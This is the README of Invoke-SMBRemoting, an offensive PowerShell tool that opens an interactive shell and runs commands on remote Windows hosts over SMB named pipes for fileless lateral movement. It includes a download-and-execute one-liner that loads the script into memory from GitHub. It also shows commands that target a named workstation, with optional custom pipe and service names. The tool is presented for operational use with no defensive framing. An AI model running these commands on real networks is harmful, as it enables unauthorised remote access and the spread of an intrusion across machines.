Leo4j / Invoke-SMBRemoting

Interactive Shell and Command Execution over Named-Pipes (SMB) for Fileless lateral movement

Invoke-SMBRemoting

Interactive Shell and Command Execution over Named-Pipes (SMB)

Invoke-SMBRemoting utilizes the SMB protocol to establish a connection with the target machine, and sends commands (and receives outputs) using Named Pipes.

Note: The user you run the script as needs to be administrator over the target system

First, load the script in memory:

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Invoke-SMBRemoting/main/Invoke-SMBRemoting.ps1')

Interactive Shell

Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local"

Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -PipeName Something -ServiceName RandomService

Command Execution

Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -Command whoami

Invoke-SMBRemoting -ComputerName "Workstation-01.ferrari.local" -PipeName Something -ServiceName RandomService -Command whoami